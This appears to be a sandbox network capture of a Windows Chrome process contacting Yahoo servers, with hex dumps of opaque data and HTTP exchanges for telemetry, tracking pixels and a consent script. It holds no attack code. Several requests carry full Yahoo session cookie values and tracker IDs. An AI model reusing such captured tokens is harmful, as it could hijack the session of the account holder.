2024-04-27 22:41:55 UTC	1300	IN	Data Raw: d3 f0 21 bc 7e d2 b2 a0 03 ef f5 db b9 de a4 86 ce 26 6d 54 9a 97 e3 6b 38 bb d9 e6 b8 9e ba 43 2e 80 52 5e dc c8 cd 6d 78 8b 69 c8 03 7c c2 ef 0d 6a 8a 0f 2e bf 1e b4 6d f9 7a e8 82 4e 17 4b ab 13 23 58 95 1a 6f 87 ce 5a 4e d3 6d 8b bd bf 57 12 d3 41 57 cf 63 d9 ec 1b 25 04 43 e3 64 16 2d 6e ce 27 94 69 b7 01 10 28 5c ec 74 62 d5 07 74 29 15 46 c1 62 d3 a7 1a 5a 75 b5 be 8b 64 0d a0 b9 95 de 0d dc 7d 67 43 50 ff f1 fd fa 93 ef fd 64 ec 75 73 b4 ca 9b bf b2 70 94 87 03 c7 fc fe 96 67 5b b1 7a 7b 0b dd 28 f5 db ad d1 de 49 17 71 1b 52 d3 8d 8e bd f5 ed 06 8f e7 08 30 c4 13 b5 66 35 f4 27 18 72 d3 50 c3 35 88 82 43 a1 c7 9f 3e dd 0b b2 99 16 01 a8 e7 e6 8c 9d 22 1f 85 af d0 c1 5d 7b 26 32 5a 9a 49 9b 49 31 bc 17 71 b7 a9 e2 1e 72 f4 3c cb 94 d6 3c dc ed 0b Data Ascii: !~&mTk8C.R^mxi\|j.mzNK#XoZNmWAWc%Cd-n'i(\tbt)FbZud}gCPduspg[z{(IqR0f5'rP5C>"]{&2ZII1qr<<
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: c0 27 99 5c 91 61 31 6e 55 15 d1 b8 63 1e 3c a7 2d 78 18 7e 8a 35 75 2a 41 5c c8 02 2f 1c 78 85 5e 48 2d ed 21 a3 62 77 6f 5a 1f cf d5 c1 08 92 2c e9 7c e8 00 e9 bf 60 5a 32 93 c0 c2 75 28 e8 b9 d5 d4 5a f0 00 fe fc ad 14 7a 2c 15 f5 ff c7 2f f3 8a 7e 76 e2 ae 0b ac fb 06 21 3a 86 2e bf 74 e3 3b a4 86 9d 80 18 5d a9 4a f6 30 11 f5 c6 ed 86 47 1a fa 20 c6 d9 61 7b 55 27 ce 7a d2 ac c5 84 89 28 2b 60 59 5e 66 4e 3a ee e2 5f 58 e2 ae a6 b9 28 25 eb e1 42 58 82 7f c0 4b 41 69 95 ed e7 ba 3f e9 56 ce ec 44 b0 12 f5 de a8 97 df 3a fe f1 c2 30 e3 2b 0e 72 e3 34 1b 8f 7e f9 57 1a 03 12 bd 28 86 65 5d c4 50 ab 11 07 17 fe b9 a6 db 5f a4 59 bd 07 75 50 c0 f9 e5 6f 0b 30 54 87 64 dc c7 03 80 a6 fb fb 18 24 7b 3d 3d d0 d6 32 77 2d 6c a6 c4 42 1e a8 4d 19 6b bf 28 89 Data Ascii: '\a1nUc<-x~5u*A\/x^H-!bwoZ,\|`Z2u(Zz,/~v!:.t;]J0G a{U'z(+`Y^fN:_X(%BXKAi?VD:0+r4~W(e]P_YuPo0Td${==2w-lBMk(
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 93 49 36 80 84 54 03 83 49 31 ed fb ec 39 c4 83 56 71 2d d5 79 3b d8 72 63 a6 e7 92 f1 5b a0 83 b6 c9 23 b9 67 25 9d 44 08 7e ec 1c a3 f4 60 52 c4 49 d6 4e be d5 56 4b 28 ff 91 09 dd 62 f4 81 8a 60 22 77 c4 79 f6 39 2a 7f 1b 95 81 d3 22 ce 8f 78 11 09 27 b0 01 ad 19 f7 b4 d9 51 bc 25 65 7f 03 72 dc 17 2a ff a1 d1 66 8c 5d 00 95 5e 0e bf f8 b0 9f 8b 63 d5 8d 5f 7f cd a7 33 d3 5b 9d 59 72 0c c0 6c ad 97 45 b4 92 8e 11 7e c3 92 99 56 bc c2 ef c8 71 c7 4f d5 7e e1 53 6f 23 b3 6d 82 ad cc 04 a5 83 c6 84 a8 60 f3 45 d8 c3 72 1a 9c f9 02 83 a8 54 95 1d af 4f cd d3 b9 4d 99 27 ff 11 73 d6 9b 31 b1 7f 5a c6 a8 f5 c5 5e 58 03 b1 77 d3 65 c4 d3 1b b5 cd 06 35 fe 8a 0f 31 3c 4b 8a cf c0 0a 71 15 b2 31 8e ef 78 45 4e 18 74 02 b4 32 e6 38 ec 22 e7 a9 55 43 dd 9b b3 08 Data Ascii: I6TI19Vq-y;rc[#g%D~`RINVK(b`"wy9"x'Q%erf]^c_3[YrlE~VqO~So#m`ErTOM's1Z^Xwe51<Kq1xENt28"UC
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 5d e8 e1 b7 8b 43 63 7d 7c 71 9d e0 ed 67 57 60 92 d6 de e3 98 49 8f a7 6a d6 4d 81 5e e9 85 c1 d8 57 10 c8 25 2a 83 bb 12 61 bc 81 6c c9 c6 40 90 34 bc cf 6a 51 3d 86 d4 da 8a 1e b3 da e8 d9 72 d1 12 42 db cb ab e1 dd a4 aa 33 51 41 59 66 72 e3 f4 20 16 47 b7 0f 87 dc 78 e6 c4 b2 3d 81 79 c0 39 6a 80 eb d1 9e d1 fa d0 47 84 74 44 e4 58 1f af 1d 0b 36 ad 41 aa ac 88 d1 6c 38 c7 fb 33 d7 35 90 3a fd 6e 0d 39 7b c1 0c f3 c0 57 db 72 2e c3 83 a4 43 ee 6c 64 a9 e7 c9 1d 89 76 ce 3b c0 b5 60 aa 3b e1 cb 97 cf 0f 2b 67 f4 c5 69 01 ad 4a f2 cb 3c 1b f9 0d a8 6d d9 02 63 50 41 65 84 95 23 6a d3 f9 97 15 a4 a5 76 2f 2f 84 d8 c6 c7 d0 11 56 4b 35 05 da 8f 24 db 77 0f 4a 37 82 a9 a9 be 3b 96 4a 04 65 d5 81 0a 9a e1 e5 69 99 a7 84 c1 c5 ec 58 e9 59 92 88 1e 39 f2 ad Data Ascii: ]Cc}\|qgW`IjM^W%*al@4jQ=rB3QAYfr Gx=y9jGtDX6Al835:n9{Wr.Cldv;`;+giJ<mcPAe#jv//VK5$wJ7;JeiXY9
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: d7 49 8f 46 c6 1e e6 33 00 bf be 26 08 d4 d7 3e f3 74 a5 2b 43 81 53 70 c6 18 41 d2 c4 05 d7 79 f1 18 4f b7 51 f9 7d 4e dd eb c0 d1 06 c3 ad 9a 7a 03 38 54 93 5c c3 06 bf 90 4c 50 64 52 e4 ec 30 6a ad 52 f7 45 cb 96 d0 05 80 c5 0b bf ed 3f c6 f5 fd 4e dd 07 53 eb 73 29 a2 2a 76 b2 bb c0 79 d8 b6 b8 62 b1 8f d9 20 9e de f4 9b e0 04 5f 1d f0 de 9e 5a 53 b8 ff 96 89 d8 f7 a5 8d 78 ae 70 9b 94 5e 8b ad aa 38 a5 87 36 9d 5d 32 b8 89 6b 18 b1 13 bb 58 ff 2c d6 0c 04 97 6e 93 9c 29 42 3e 7c 90 96 e2 43 f3 d2 22 16 be 36 9a c8 33 e9 df b4 70 15 55 1e 69 e2 cb 80 03 03 8d 09 58 ac 7e 68 40 7f f8 1c 91 17 c5 14 fe fa bb ba 15 b6 20 2c d1 7c 32 4c af 7d dc f4 87 dc 46 9d c5 3a 9f 6d 34 e0 c3 fc 2a fb 6a 97 7e 8f 01 2e 3b 2d c5 c5 7b bf ee ca ab 92 38 2e 9a 65 8f 03 Data Ascii: IF3&>t+CSpAyOQ}Nz8T\LPdR0jRE?NSs)vyb _ZSxp^86]2kX,n)B>\|C"63pUiX~h@ ,\|2L}F:m4j~.;-{8.e
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: cd 75 c3 e9 2b 6b 54 69 89 a6 f2 e3 46 34 d5 d8 0b 89 2d d4 d8 3d 60 38 6a 47 77 8c 19 59 18 82 7a 35 2d be f9 52 53 e2 36 83 f8 86 4d 3f a9 f2 7f 22 ae 2c 01 88 f9 fd 1c 5d 94 b2 52 38 2e 91 85 e9 bf 56 f5 72 53 1e 0c 4b d1 cd 22 a9 15 39 81 f0 a1 3e ec d3 f4 bc 8b 8e 77 6d 98 c2 f4 f5 5a a5 15 e6 69 c2 66 09 2a df ff 95 fb c6 ba fa 72 18 6b c9 ca ff d2 a8 44 7a 73 6a f6 14 64 6a 05 46 2a f7 ed 74 8e c6 59 bc 5a f5 ad 2b 36 35 d6 66 17 d9 85 4c 9a 48 f4 9f af 49 94 27 36 c5 c8 47 b6 0d 55 27 3c b7 f7 46 33 ae cd 82 ce b4 bc ec 15 9d e9 fd dd ed 7f e1 92 12 89 07 f7 b0 ce c9 ae 7f 71 f1 79 aa 83 1a 36 a6 e6 b9 01 d1 9b c9 80 10 7a f2 28 ef f0 1c 7a 65 4e 75 26 15 6d 5d 7c 74 a4 51 b0 96 14 33 44 3b 32 b0 15 08 48 16 7e 9a e9 d7 88 ca 39 83 f8 a8 45 92 e4 Data Ascii: u+kTiF4-=`8jGwYz5-RS6M?",]R8.VrSK"9>wmZifrkDzsjdjFtYZ+65fLHI'6GU'<F3qy6z(zeNu&m]\|tQ3D;2H~9E
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 42 65 ce 9c 88 4c 57 96 ea 7c 40 65 55 8c b5 95 78 57 4e 4f f9 26 55 d6 f5 ea 09 c9 2e 8f 90 a4 57 a6 32 56 f6 d6 41 62 b1 c0 3f 4a 70 58 4c 49 73 eb 04 d8 fb 75 0c fc ff 1c 09 d2 f9 b9 f1 fa 2b 10 fd f5 74 ba f5 13 f3 40 5d f1 9a 24 6b 82 31 13 52 38 1f 0f f5 45 da 96 8f 11 f3 5a f2 6d 82 df 3b 9e fa 12 d6 27 13 98 ed 9d 38 6b 8d 5b 4e 71 60 f1 a2 cd 26 73 7a 43 8b 00 81 87 fd a7 f9 78 1c 13 7d e0 0d 95 f6 a8 10 25 21 60 87 3c 85 0f 14 7b 3a 04 93 e8 b0 c3 0a 1e d4 c0 de 67 81 e8 db d7 28 c8 b5 fb 92 82 0a e5 f9 16 7d 03 38 5c 9b f9 65 73 4e 7d f7 bd 90 ad 78 e3 ca ba b7 26 dc 94 2d 7e ec 92 8e 6a 78 ee 84 28 a0 27 4c 64 c8 3a 39 b3 14 10 40 cf 5f db e0 fc 7c 76 1d 0b 6b 6f f5 a4 eb ab c4 e5 a5 f6 8e 8f ed 9f 82 52 bc bb 67 11 ed 28 88 a9 5b 37 24 7e 5e Data Ascii: BeLW\|@eUxWNO&U.W2VAb?JpXLIsu+t@]$k1R8EZm;'8k[Nq`&szCx}%!`<{:g(}8\esN}x&-~jx('Ld:9@_\|vkoRg([7$~^
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: db 48 1c 73 46 30 30 b4 33 b3 f1 f0 f6 36 75 d6 c9 e8 cc 0c 09 d7 b0 b3 24 6a 6c 0e ed 93 7b 80 6a 9f a9 74 72 f7 2f d0 28 78 61 f0 dc 6b 11 bc c5 41 2f 17 6e 0f ff ce 0b 4d dc d7 65 20 4f 4f 81 e7 96 b6 7d 3a d0 78 e0 d5 dc 21 12 90 0a b5 92 4d 22 b1 7b 16 76 67 8a a9 ce c1 2d e4 0c 51 7b e3 24 e3 72 84 54 a4 b1 8b 76 96 97 6a 2a 31 54 bc f0 81 ab 3e f3 5b 50 75 58 50 45 b8 d8 58 c8 2d 77 11 67 1e 92 6e 34 5c f0 81 ea c8 68 b7 59 19 ef 11 1f 9d 10 17 95 0b 78 67 d8 ad 9f 36 15 fc 65 33 83 5f 6e 18 97 c8 31 df 95 d2 ee e3 ca d0 7c 36 82 26 f2 fe e4 00 00 ec 0c 0d a8 8f 66 5f 68 ac c0 d3 8f 7f 3c 1d 03 a8 81 1c e4 51 37 79 47 d9 fd de db d6 ae 1f 5e ef f9 5f 39 cb 95 c6 e8 50 d8 f4 5e ea 5b 10 b9 b1 59 2d aa 04 9d a2 d2 ec 45 51 61 d4 f8 15 ce 27 e4 a3 1d Data Ascii: HsF0036u$jl{jtr/(xakA/nMe OO}:x!M"{vg-Q{$rTvj*1T>[PuXPEX-wgn4\hYxg6e3_n1\|6&f_h<Q7yG^_9P^[Y-EQa'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49895	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	1311	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=2023538075&yhlCT=2&yhlBTMS=1714257713598&yhlClientVer=3.54.1&yhlRnd=5l2iuEHOVPX6G3hZ&yhlCompressed=3 HTTP/1.1 Host: udc.yahoo.com Connection: keep-alive Content-Length: 1710 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A
2024-04-27 22:41:55 UTC	1710	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 37 56 5a 52 55 25 32 42 4d 34 44 50 34 72 6d 54 7a 63 55 77 74 70 43 74 73 75 4d 25 32 46 63 51 32 4f 77 65 4c 41 56 4b 67 54 33 59 4d 68 34 6e 63 56 4c 54 78 50 62 61 54 6b 71 50 34 62 25 32 42 66 35 4a 51 57 46 6d 35 75 35 78 37 75 69 61 64 4b 6e 32 52 5a 25 32 42 69 51 72 66 66 41 54 35 65 38 39 25 32 42 49 54 32 6a 4c 25 32 46 6e 5a 37 39 48 34 32 68 25 32 46 25 32 46 30 43 52 34 32 25 32 46 58 42 25 32 46 46 78 66 6e 6c 39 6c 5a 37 7a 35 45 51 46 4a 25 32 46 30 50 49 33 56 30 51 62 25 32 42 4d 50 73 64 46 76 42 25 32 42 4e 25 32 46 78 67 66 56 39 66 39 47 37 74 6f 41 6a 36 4b 43 42 74 46 55 66 54 62 42 41 4e 45 30 65 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'7VZRU%2BM4DP4rmTzcUwtpCtsuM%2FcQ2OweLAVKgT3YMh4ncVLTxPbaTkqP4b%2Bf5JQWFm5u5x7uiadKn2RZ%2BiQrffAT5e89%2BIT2jL%2FnZ79H42h%2F%2F0CR42%2FXB%2FFxfnl9lZ7z5EQFJ%2F0PI3V0Qb%2BMPsdFvB%2BN%2FxgfV9f9G7toAj6KCBtFUfTbBANE0e
2024-04-27 22:41:55 UTC	591	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://www.yahoo.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 1 date: Sat, 27 Apr 2024 22:41:54 GMT server: ATS Age: 1 Connection: close Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49899	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	1206	OUT	GET /px.gif?ch=1&rn=1.9185749898548843 HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:55 UTC	1271	IN	HTTP/1.1 200 OK x-amz-id-2: ORw/9LfaxRbGw7IfyrW3fnvH/sW1zr91vw+fKSMAbqt3L1V5ykrDY20Lsyicy0P+T4IongIQySQ= x-amz-request-id: MT0DNNX6Z141216X Date: Sat, 27 Apr 2024 22:41:56 GMT Last-Modified: Wed, 30 Nov 2022 19:09:07 GMT ETag: "b4682377ddfbe4e7dabfddb2e543e842" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/gif Server: ATS Content-Length: 42 Referrer-Policy: no-referrer-when-downgrade Age: 0 Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 Vary: Origin Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=5o16tltj2qvpj&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block
2024-04-27 22:41:55 UTC	35	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: X-Content-Type-Options: nosniff
2024-04-27 22:41:55 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 01 01 32 00 3b Data Ascii: GIF89a!,2;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49901	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	356	OUT	GET /g/images/spaceball.gif HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:55 UTC	837	IN	HTTP/1.1 200 OK x-amz-id-2: T5aT06JsAyKqxsWn3hTqUG6Xbr3ChE1BstG41u8dZF3mI8VzAuBFd8ndvCR8EATykHIzy9oO0DQ= x-amz-request-id: 9M13A0MCHJCYTZ9W Date: Sat, 27 Apr 2024 11:17:48 GMT Last-Modified: Wed, 24 Feb 2021 23:21:03 GMT ETag: "325472601571f31e1bf00674c368d335" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: KAUQOG5o0gBSJgl4c2JS9bVGo5z87pfq Accept-Ranges: bytes Content-Type: image/gif Server: ATS Content-Length: 43 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 41048 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:55 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49900	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	2042	OUT	POST /p?s=2023538075&t=TpvapqmCblgOxQMY,0.15434538580325974&_I=&_AO=0&_NOL=0&_R=&_P=3.54.1%05_a1s%03d%3DAQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA%26S%3DAQAAAhY0ZsSOfV2Vw8bUevS_J-s%04_pl%031%04A_v%033.54.1%04A_cn%03ANALYTICS-VERSIONED-PROD%04test%03drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless%04_bt%03rapid%04A_pr%03https%04A_tzoff%032%04A_sid%03uEPKU3Os0Q8Kit42%04_w%03www.yahoo.com%2F%04_rid%031sbetl5j2qvpa%04abk%03%04colo%03bf1%04mrkt%03us%04p_sec%03default%04partner%03none%04site%03fp%04uh_vw%030%04pt%03home%04navtype%03server%04ver%03megastrm%04version%03US%04uloc%03AAEBAQJERQMEACZffwQEAMATGgUEAXjo2wcEACPSLwgEAWVv0Q%04ns_ready%033066%04dcl_ready%03-5742%04_E%03saready%04_ts%031714257713%04_ms%03710%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:55 UTC	503	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:41:55 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-04-27 22:41:55 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49902	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	526	OUT	GET /aaq/vzm/cs_1.6.0.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:55 UTC	847	IN	HTTP/1.1 200 OK x-amz-id-2: XA1KLIGAwAVbq9orTWaiMyz9+yMlKTrs1uTuWyF/zObGgurTyhFky7WsX2Uc5MtRzlGdydmLQzycD5kKgV9aTi3klCdZpIhi x-amz-request-id: BM4P0BC1JY32PH9S Date: Sat, 27 Apr 2024 22:29:55 GMT Last-Modified: Tue, 09 Apr 2024 17:45:45 GMT ETag: "e8df3178bf9be8642d2af1797f218868" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: cSXtvnICKsrCZIT5.CKbwnibD1jM_rKg Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 1330 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 721 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:55 UTC	748	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 63 3d 77 69 6e 64 6f 77 2c 74 3d 63 2e 64 6f 63 75 6d 65 6e 74 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 2c 6e 2c 65 2c 72 29 7b 69 66 28 21 74 7c 7c 21 6e 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 63 5b 74 5d 29 72 65 74 75 72 6e 20 72 28 29 3b 74 72 79 7b 63 5b 74 5d 28 6e 2c 65 2c 28 66 75 6e 63 74 69 6f 6e 28 63 2c 74 29 7b 72 28 63 2c 74 29 7d 29 29 7d 63 61 74 63 68 28 63 29 7b 72 28 29 7d 7d 63 2e 43 4f 4d 53 43 4f 52 45 3d 7b 5f 76 65 72 73 69 6f 6e 3a 22 31 2e 36 2e 30 22 2c 62 65 61 63 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 28 22 5f 5f 75 73 70 61 70 69 22 2c 22 67 65 74 44 6f 4e 6f 74 53 65 6c 6c 22 2c 31 2c 28 66 75 6e 63 74 69 6f Data Ascii: !function(){"use strict";var c=window,t=c.document;function n(t,n,e,r){if(!t\|\|!n\|\|"function"!=typeof c[t])return 